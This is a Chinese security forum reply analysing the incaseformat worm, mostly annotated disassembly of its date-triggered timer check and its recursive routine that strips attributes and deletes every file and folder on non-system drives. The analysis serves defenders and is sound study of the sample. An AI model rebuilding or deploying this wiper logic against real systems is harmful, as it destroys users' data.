能力值：
( LV5，RANK：60 )
|
-
-
4 楼
我的样本是在卡饭论坛下的，和楼主的基本一致。 1.逆向分析显示,incaseformat执行C盘以外文件删除的条件为: year>2009且month>3且day为:1,10,21,29 即: 2009年以后，月份大于3的： 1,10,21,29号，这些日子只要一开机，在TForm1.Timer2中就会删除文件 从删除触发日期来看，该样本应该是原始样本，并不是被人篡改后的野样本。 CODE:0044EE84 TForm1@Timer2Timer proc near ; DATA XREF: CODE:0044E4D5o
CODE:0044EE84
CODE:0044EE84 var_20 = dword ptr -20h
CODE:0044EE84 var_1C = dword ptr -1Ch
CODE:0044EE84 var_16 = word ptr -16h
CODE:0044EE84 var_14 = word ptr -14h
CODE:0044EE84 System::TDateTime= dword ptr -12h
CODE:0044EE84 var_4 = dword ptr -4
CODE:0044EE84
CODE:0044EE84 push ebp ; TForm1@Timer2Timer
CODE:0044EE85 mov ebp, esp
CODE:0044EE87 add esp, 0FFFFFFE0h
CODE:0044EE8A push ebx
CODE:0044EE8B push esi
CODE:0044EE8C push edi
CODE:0044EE8D xor ecx, ecx
CODE:0044EE8F mov [ebp+var_20], ecx
CODE:0044EE92 mov [ebp+var_4], eax
CODE:0044EE95 xor eax, eax
CODE:0044EE97 push ebp
CODE:0044EE98 push offset loc_44EFA1
CODE:0044EE9D push dword ptr fs:[eax]
CODE:0044EEA0 mov fs:[eax], esp
CODE:0044EEA3 mov eax, [ebp+var_4]
CODE:0044EEA6 mov eax, [eax+2FCh] ; Timer2:TTimer
CODE:0044EEAC xor edx, edx ; FALSE
CODE:0044EEAE call unknown_libname_426 ; ExtCtrls.TTimer.SetEnabled(TTimer;Boolean);<+>
CODE:0044EEB3 xor eax, eax
CODE:0044EEB5 push ebp
CODE:0044EEB6 push offset loc_44EF84
CODE:0044EEBB push dword ptr fs:[eax]
CODE:0044EEBE mov fs:[eax], esp
CODE:0044EEC1 mov dl, 1
CODE:0044EEC3 mov eax, off_411BC4
CODE:0044EEC8 call unknown_libname_42 ; InStack.TInStack.Create(TInStack;boolean);<+>
CODE:0044EECD mov [ebp+var_1C], eax
CODE:0044EED0 call @Sysutils@Now$qqrv ; SysUtils.Now:TDateTime; 获取当前系统时间
CODE:0044EED5 fstp qword ptr [ebp+System::TDateTime+2]
CODE:0044EED8 wait
CODE:0044EED9 lea eax, [ebp+var_1C]
CODE:0044EEDC call sub_44E5C8
CODE:0044EEE1 push dword ptr [ebp-0Ch]
CODE:0044EEE4 push [ebp+System::TDateTime+2] ; unsigned __int16 *
CODE:0044EEE7 lea ecx, [ebp+var_16] ; unsigned __int16 *: day
CODE:0044EEEA lea edx, [ebp+var_14] ; unsigned __int16 *: month
CODE:0044EEED lea eax, [ebp+System::TDateTime] ; System::TDateTime: year
CODE:0044EEF0 call @Sysutils@DecodeDate$qqrx16System@TDateTimerust2t2 ; Sysutils::DecodeDate(System::TDateTime,ushort &,ushort &,ushort &)
CODE:0044EEF5 cmp word ptr [ebp+System::TDateTime], 7D9h ; 当前年份与: 2009进行比较
CODE:0044EEFB ja short loc_44EF07 ;
CODE:0044EEFD call @System@@TryFinallyExit$qqrv ; System.@TryFinallyExit;
CODE:0044EF02 jmp loc_44EF8B ; 如果当前年份小于等于2009则跳转到loc_44EF8B处返回，什么也不做，
CODE:0044EF02 ; 如果大于2009继续执行后面的月份判断
CODE:0044EF07 ; ---------------------------------------------------------------------------
CODE:0044EF07
CODE:0044EF07 loc_44EF07: ; CODE XREF: TForm1@Timer2Timer+77j
CODE:0044EF07 cmp [ebp+var_14], 3 ; 当前月份与3进行比较
CODE:0044EF0C ja short loc_44EF15 ;
CODE:0044EF0E call @System@@TryFinallyExit$qqrv ; System.@TryFinallyExit;
CODE:0044EF13 jmp short loc_44EF8B ; 如果当前月份小于等于3则跳转到loc_44EF8B处返回，什么也不做，
CODE:0044EF13 ; 如果大于3继续执行后面的日期判断
CODE:0044EF15 ; ---------------------------------------------------------------------------
CODE:0044EF15
CODE:0044EF15 loc_44EF15: ; CODE XREF: TForm1@Timer2Timer+88j
CODE:0044EF15 cmp [ebp+var_16], 1 ; 判断当前日是否是1
CODE:0044EF1A jz short loc_44EF31 ;
CODE:0044EF1C cmp [ebp+var_16], 0Ah ; 判断当前日是否是10
CODE:0044EF21 jz short loc_44EF31 ;
CODE:0044EF23 cmp [ebp+var_16], 15h ; 判断当前日是否是21
CODE:0044EF28 jz short loc_44EF31 ;
CODE:0044EF2A cmp [ebp+var_16], 1Dh ; 判断当前日是否是29
CODE:0044EF2F jnz short loc_44EF5E ; 如果当前日不是: 1,10,21,29则跳转后返回，相当于什么也不做，
CODE:0044EF2F ; 如果满足条件则继续后面的操作
CODE:0044EF31
CODE:0044EF31 loc_44EF31: ; CODE XREF: TForm1@Timer2Timer+96j
CODE:0044EF31 ; TForm1@Timer2Timer+9Dj ...
CODE:0044EF31 mov eax, [ebp+var_1C] ; TStringList
CODE:0044EF34 mov edx, [eax]
CODE:0044EF36 call dword ptr [edx+14h] ; 取TStringList中的路径个数
CODE:0044EF39 mov ebx, eax
CODE:0044EF3B dec ebx
CODE:0044EF3C test ebx, ebx
CODE:0044EF3E jle short loc_44EF5E ; TStringList路径个数为0,则跳
CODE:0044EF40 mov esi, 1
CODE:0044EF45
CODE:0044EF45 loc_44EF45: ; CODE XREF: TForm1@Timer2Timer+D8j
CODE:0044EF45 lea ecx, [ebp+var_20] ; 保存取得的路径
CODE:0044EF48 mov edx, esi ; TStringList中的索引
CODE:0044EF4A mov eax, [ebp+var_1C] ; TStringList
CODE:0044EF4D mov edi, [eax]
CODE:0044EF4F call dword ptr [edi+0Ch] ; 取TStringList的一条路径
CODE:0044EF52 mov eax, [ebp+var_20] ; 路径
CODE:0044EF55 call sub_44EC70 ; 执行删除操作(满足条件: year>2009且month>3且day为:1,10,21,29)
CODE:0044EF5A inc esi ; 索引递增
CODE:0044EF5B dec ebx ; 路径个数递减,直至为0就跳出循环
CODE:0044EF5C jnz short loc_44EF45 ; 如果路径个数非0,继续执行循环
CODE:0044EF5E
CODE:0044EF5E loc_44EF5E: ; CODE XREF: TForm1@Timer2Timer+ABj
CODE:0044EF5E ; TForm1@Timer2Timer+BAj
CODE:0044EF5E mov eax, [ebp+var_1C] ; this
CODE:0044EF61 call @System@TObject@Free$qqrv ; System.TObject.Free(TObject);
CODE:0044EF66 xor eax, eax
CODE:0044EF68 pop edx
CODE:0044EF69 pop ecx
CODE:0044EF6A pop ecx
CODE:0044EF6B mov fs:[eax], edx
CODE:0044EF6E push offset loc_44EF8B
CODE:0044EF73
CODE:0044EF73 loc_44EF73: ; CODE XREF: TForm1@Timer2Timer+105j
CODE:0044EF73 mov eax, [ebp+var_4]
CODE:0044EF76 mov eax, [eax+2FCh] ; Timer2:TTimer
CODE:0044EF7C mov dl, 1
CODE:0044EF7E call unknown_libname_426 ; ExtCtrls.TTimer.SetEnabled(TTimer;Boolean);<+>
CODE:0044EF83 retn
CODE:0044EF84 ; ---------------------------------------------------------------------------
CODE:0044EF84
CODE:0044EF84 loc_44EF84: ; DATA XREF: TForm1@Timer2Timer+32o
CODE:0044EF84 jmp unknown_libname_54 ; System.@HandleFinally;
CODE:0044EF89 ; ---------------------------------------------------------------------------
CODE:0044EF89 jmp short loc_44EF73
CODE:0044EF8B ; ---------------------------------------------------------------------------
CODE:0044EF8B
CODE:0044EF8B loc_44EF8B: ; CODE XREF: TForm1@Timer2Timer+7Ej
CODE:0044EF8B ; TForm1@Timer2Timer+8Fj ...
CODE:0044EF8B xor eax, eax
CODE:0044EF8D pop edx
CODE:0044EF8E pop ecx
CODE:0044EF8F pop ecx
CODE:0044EF90 mov fs:[eax], edx
CODE:0044EF93 push offset loc_44EFA8
CODE:0044EF98
CODE:0044EF98 loc_44EF98: ; CODE XREF: TForm1@Timer2Timer+122j
CODE:0044EF98 lea eax, [ebp+var_20]
CODE:0044EF9B call @System@@LStrClr$qqrpv ; System.@LStrClr(void;void);
CODE:0044EFA0 retn
CODE:0044EFA1 ; ---------------------------------------------------------------------------
CODE:0044EFA1
CODE:0044EFA1 loc_44EFA1: ; DATA XREF: TForm1@Timer2Timer+14o
CODE:0044EFA1 jmp unknown_libname_54 ; System.@HandleFinally;
CODE:0044EFA6 ; ---------------------------------------------------------------------------
CODE:0044EFA6 jmp short loc_44EF98
CODE:0044EFA8 ; ---------------------------------------------------------------------------
CODE:0044EFA8
CODE:0044EFA8 loc_44EFA8: ; CODE XREF: TForm1@Timer2Timer+11Cj
CODE:0044EFA8 ; DATA XREF: TForm1@Timer2Timer+10Fo
CODE:0044EFA8 pop edi
CODE:0044EFA9 pop esi
CODE:0044EFAA pop ebx
CODE:0044EFAB mov esp, ebp
CODE:0044EFAD pop ebp
CODE:0044EFAE retn
CODE:0044EFAE TForm1@Timer2Timer endp 2.搜索目录子项删除之并删除目录 CODE:0044EC70 sub_44EC70 proc near ; CODE XREF: sub_44EC70+F0p
CODE:0044EC70 ; TForm1@Timer2Timer+D1p
CODE:0044EC70
CODE:0044EC70 var_170 = dword ptr -170h
CODE:0044EC70 System::AnsiString= dword ptr -16Ch
CODE:0044EC70 var_168 = dword ptr -168h
CODE:0044EC70 FatTime = word ptr -164h
CODE:0044EC70 var_15C = byte ptr -15Ch
CODE:0044EC70 var_158 = dword ptr -158h
CODE:0044EC70 var_C = dword ptr -0Ch
CODE:0044EC70 var_5 = byte ptr -5
CODE:0044EC70 var_4 = dword ptr -4
CODE:0044EC70
CODE:0044EC70 push ebp
CODE:0044EC71 mov ebp, esp
CODE:0044EC73 add esp, 0FFFFFE90h
CODE:0044EC79 push ebx
CODE:0044EC7A push esi
CODE:0044EC7B push edi
CODE:0044EC7C xor edx, edx
CODE:0044EC7E mov [ebp+var_170], edx
CODE:0044EC84 mov [ebp+System::AnsiString], edx
CODE:0044EC8A mov [ebp+var_168], edx
CODE:0044EC90 mov [ebp+var_C], edx
CODE:0044EC93 mov [ebp+var_4], eax
CODE:0044EC96 mov eax, [ebp+var_4]
CODE:0044EC99 call @System@@LStrAddRef$qqrpv ; System::__linkproc__ LStrAddRef(void *)
CODE:0044EC9E lea eax, [ebp+FatTime]
CODE:0044ECA4 mov edx, off_406E18
CODE:0044ECAA call unknown_libname_74 ; BDS 2005-2007 and Delphi6-7 Visual Component Library
CODE:0044ECAF xor eax, eax
CODE:0044ECB1 push ebp
CODE:0044ECB2 push offset loc_44EE40
CODE:0044ECB7 push dword ptr fs:[eax]
CODE:0044ECBA mov fs:[eax], esp
CODE:0044ECBD xor eax, eax
CODE:0044ECBF push ebp
CODE:0044ECC0 push offset loc_44EDF7
CODE:0044ECC5 push dword ptr fs:[eax]
CODE:0044ECC8 mov fs:[eax], esp
CODE:0044ECCB mov eax, [ebp+var_4]
CODE:0044ECCE call unknown_libname_69 ; BDS 2005-2007 and Delphi6-7 Visual Component Library
CODE:0044ECD3 mov edx, [ebp+var_4] ; 路径
CODE:0044ECD6 cmp byte ptr [edx+eax-1], 5Ch ; 检查路径是否以'\'结尾
CODE:0044ECDB jz short loc_44ECEA ;
CODE:0044ECDD lea eax, [ebp+var_4]
CODE:0044ECE0 mov edx, offset _str___15.Text ; '\',0
CODE:0044ECE5 call @System@@LStrCat$qqrv ; 如果路径不以'\'结尾,就追加'\'
CODE:0044ECEA
CODE:0044ECEA loc_44ECEA: ; CODE XREF: sub_44EC70+6Bj
CODE:0044ECEA lea eax, [ebp+var_C] ; 用于保存搜索路径
CODE:0044ECED mov ecx, offset _str_____0.Text ; db '*.*',0
CODE:0044ECF2 mov edx, [ebp+var_4] ; 以'\'结尾的路径
CODE:0044ECF5 call @System@@LStrCat3$qqrv ; 保存到[ebp+var_C]的搜索路径为: [ebp+var_4]+'*.*'
CODE:0044ECFA lea ecx, [ebp+FatTime] ; TSearchRec
CODE:0044ED00 mov edx, 3Fh ; 63
CODE:0044ED05 mov eax, [ebp+var_C] ; 搜索路径： <path>\*.*
CODE:0044ED08 call @Sysutils@FindFirst$qqrx17System@AnsiStringir19Sysutils@TSearchRec ; Sysutils::FindFirst(System::AnsiString,int,Sysutils::TSearchRec &): 搜索文件
CODE:0044ED0D test eax, eax ; 判断是否搜索成功(成功时FindFirst返回0,否则返回非0)
CODE:0044ED0F jnz loc_44EDCD ; 如果没有找到文件,则跳转到loc_44EDCD处删除目录
CODE:0044ED15
CODE:0044ED15 loc_44ED15: ; CODE XREF: sub_44EC70+14Cj
CODE:0044ED15 mov eax, [ebp+var_158] ; 搜索到的1项
CODE:0044ED1B mov edx, offset _str___2.Text ; BDS 2005-2007 and Delphi6-7 Visual Component Library('.',0)
CODE:0044ED20 call @System@@LStrCmp$qqrv ; System::__linkproc__ LStrCmp(void)
CODE:0044ED25 jz loc_44EDAF ; 如果搜索到的项为'.',则跳转到loc_44EDAF处搜索下1项
CODE:0044ED2B mov eax, [ebp+var_158]
CODE:0044ED31 mov edx, offset _str____0.Text ; '..',0
CODE:0044ED36 call @System@@LStrCmp$qqrv ; System::__linkproc__ LStrCmp(void)
CODE:0044ED3B jz short loc_44EDAF ; 如果搜索到的项为'..',则跳转到loc_44EDAF处搜索下1项
CODE:0044ED3D test [ebp+var_15C], 10h ; 判断是否含有属性: FILE_ATTRIBUTE_DIRECTORY
CODE:0044ED44 jz short loc_44ED6F ; 如果是目录则把搜索到的目录名追加到路径后面,然后递归调用执行sub_44EC70，否则跳转到loc_44ED6F处删除文件
CODE:0044ED46 lea eax, [ebp+var_168] ; 用于保存子目录路径
CODE:0044ED4C mov ecx, [ebp+var_158] ; 搜索到的子目录名
CODE:0044ED52 mov edx, [ebp+var_4] ; 以'\'结尾的路径
CODE:0044ED55 call @System@@LStrCat3$qqrv ; System::__linkproc__ LStrCat3(void): 子符串拼接，子目录路径: [ebp+var_168]=[ebp+var158]+[ebp+var4]
CODE:0044ED5A mov eax, [ebp+var_168] ; 子目录路径
CODE:0044ED60 call sub_44EC70 ; 递归调用
CODE:0044ED65 test al, al
CODE:0044ED67 jnz short loc_44EDAF
CODE:0044ED69 mov [ebp+var_5], 0
CODE:0044ED6D jmp short loc_44EDAF
CODE:0044ED6F ; ---------------------------------------------------------------------------
CODE:0044ED6F
CODE:0044ED6F loc_44ED6F: ; CODE XREF: sub_44EC70+D4j
CODE:0044ED6F lea eax, [ebp+System::AnsiString] ; 保存搜索到的文件路径
CODE:0044ED75 mov ecx, [ebp+var_158] ; 搜索到的非目录文件
CODE:0044ED7B mov edx, [ebp+var_4] ; 以'\'结尾的路径
CODE:0044ED7E call @System@@LStrCat3$qqrv ; System::__linkproc__ LStrCat3(void): 字符串拼接得到搜索到的文件路径: [ebp+System::AnsiString]=[ebp+var_158]+[ebp+var_4]
CODE:0044ED83 mov eax, [ebp+System::AnsiString] ; System::AnsiString
CODE:0044ED89 xor edx, edx ; int: Attribute: 0
CODE:0044ED8B call @Sysutils@FileSetAttr$qqrx17System@AnsiStringi ; Sysutils::FileSetAttr(System::AnsiString,int): 清空文件属性
CODE:0044ED90 lea eax, [ebp+var_170] ; 保存搜索到的文件路径
CODE:0044ED96 mov ecx, [ebp+var_158] ; 搜索到的非目录文件
CODE:0044ED9C mov edx, [ebp+var_4] ; 以'\'结尾的路径
CODE:0044ED9F call @System@@LStrCat3$qqrv ; System::__linkproc__ LStrCat3(void): 字符串拼接得到搜索到的文件路径: [ebp+170]=[ebp+var_158]+[ebp+var_4]
CODE:0044EDA4 mov eax, [ebp+var_170] ; System::AnsiString: 搜索到的文件路径
CODE:0044EDAA call @Sysutils@DeleteFile$qqrx17System@AnsiString ; Sysutils::DeleteFile(const int System::AnsiString): 删除文件
CODE:0044EDAF
CODE:0044EDAF loc_44EDAF: ; CODE XREF: sub_44EC70+B5j
CODE:0044EDAF ; sub_44EC70+CBj ...
CODE:0044EDAF lea eax, [ebp+FatTime] ; lpFatTime
CODE:0044EDB5 call @Sysutils@FindNext$qqrr19Sysutils@TSearchRec ; Sysutils::FindNext(Sysutils::TSearchRec &): 搜索下一项
CODE:0044EDBA test eax, eax ; 判断是否搜索成功(FindNext成功时返回0,失败时返回非0)
CODE:0044EDBC jz loc_44ED15 ; 如果成功则跳转到前面的loc_44ED15继续处理
CODE:0044EDC2 lea eax, [ebp+FatTime]
CODE:0044EDC8 call @Sysutils@FindClose$qqrr19Sysutils@TSearchRec ; 搜索完毕了: Sysutils::FindClose(Sysutils::TSearchRec &): 关闭搜索
CODE:0044EDCD
CODE:0044EDCD loc_44EDCD: ; CODE XREF: sub_44EC70+9Fj
CODE:0044EDCD xor edx, edx ; int: Attribute: 0
CODE:0044EDCF mov eax, [ebp+var_4] ; System::AnsiString: 目录路径
CODE:0044EDD2 call @Sysutils@FileSetAttr$qqrx17System@AnsiStringi ; Sysutils::FileSetAttr(System::AnsiString,int): 清空目录属性
CODE:0044EDD7 mov eax, [ebp+var_4] ; System::AnsiString: 目录路径
CODE:0044EDDA call @Sysutils@RemoveDir$qqrx17System@AnsiString ; Sysutils::RemoveDir(System::AnsiString): 删除目录
CODE:0044EDDF test al, al
CODE:0044EDE1 jz short loc_44EDE9
CODE:0044EDE3 mov [ebp+var_5], 1
CODE:0044EDE7 jmp short loc_44EDED
CODE:0044EDE9 ; ---------------------------------------------------------------------------
CODE:0044EDE9
CODE:0044EDE9 loc_44EDE9: ; CODE XREF: sub_44EC70+171j
CODE:0044EDE9 mov [ebp+var_5], 0
CODE:0044EDED
CODE:0044EDED loc_44EDED: ; CODE XREF: sub_44EC70+177j
CODE:0044EDED xor eax, eax
CODE:0044EDEF pop edx
CODE:0044EDF0 pop ecx
CODE:0044EDF1 pop ecx
CODE:0044EDF2 mov fs:[eax], edx
CODE:0044EDF5 jmp short loc_44EE01
CODE:0044EDF7 ; ---------------------------------------------------------------------------
CODE:0044EDF7
CODE:0044EDF7 loc_44EDF7: ; DATA XREF: sub_44EC70+50o
CODE:0044EDF7 jmp @System@@HandleAnyException$qqrv ; System::__linkproc__ HandleAnyException(void)
CODE:0044EDFC ; ---------------------------------------------------------------------------
CODE:0044EDFC call @System@@DoneExcept$qqrv ; System::__linkproc__ DoneExcept(void)
CODE:0044EE01
CODE:0044EE01 loc_44EE01: ; CODE XREF: sub_44EC70+185j
CODE:0044EE01 xor eax, eax
CODE:0044EE03 pop edx
CODE:0044EE04 pop ecx
CODE:0044EE05 pop ecx
CODE:0044EE06 mov fs:[eax], edx
CODE:0044EE09 push offset loc_44EE47
CODE:0044EE0E
CODE:0044EE0E loc_44EE0E: ; CODE XREF: sub_44EC70+1D5j
CODE:0044EE0E lea eax, [ebp+var_170]
CODE:0044EE14 mov edx, 3
CODE:0044EE19 call @System@@LStrArrayClr$qqrpvi ; System::__linkproc__ LStrArrayClr(void *,int)
CODE:0044EE1E lea eax, [ebp+FatTime]
CODE:0044EE24 mov edx, off_406E18
CODE:0044EE2A call @System@@FinalizeRecord$qqrpvt1 ; System::__linkproc__ FinalizeRecord(void *,void *)
CODE:0044EE2F lea eax, [ebp+var_C]
CODE:0044EE32 call @System@@LStrClr$qqrpv ; System::__linkproc__ LStrClr(void *)
CODE:0044EE37 lea eax, [ebp+var_4]
CODE:0044EE3A call @System@@LStrClr$qqrpv ; System::__linkproc__ LStrClr(void *)
CODE:0044EE3F retn
CODE:0044EE40 ; ---------------------------------------------------------------------------
CODE:0044EE40
CODE:0044EE40 loc_44EE40: ; DATA XREF: sub_44EC70+42o
CODE:0044EE40 jmp unknown_libname_54 ; BDS 2005-2007 and Delphi6-7 Visual Component Library
CODE:0044EE45 ; ---------------------------------------------------------------------------
CODE:0044EE45 jmp short loc_44EE0E
CODE:0044EE47 ; ---------------------------------------------------------------------------
CODE:0044EE47
CODE:0044EE47 loc_44EE47: ; CODE XREF: sub_44EC70+1CFj
CODE:0044EE47 ; DATA XREF: sub_44EC70+199o
CODE:0044EE47 mov al, [ebp+var_5]
CODE:0044EE4A pop edi
CODE:0044EE4B pop esi
CODE:0044EE4C pop ebx
CODE:0044EE4D mov esp, ebp
CODE:0044EE4F pop ebp
CODE:0044EE50 retn
CODE:0044EE50 sub_44EC70 endp
最后于 2021-1-26 22:45
被低调putchar编辑
，原因：
|
之前我分析dp vb程序时就是这样愚蠢的跟过程和搜特征码逆向硬生生搞成体力活，后面才知道有这种类似的工具
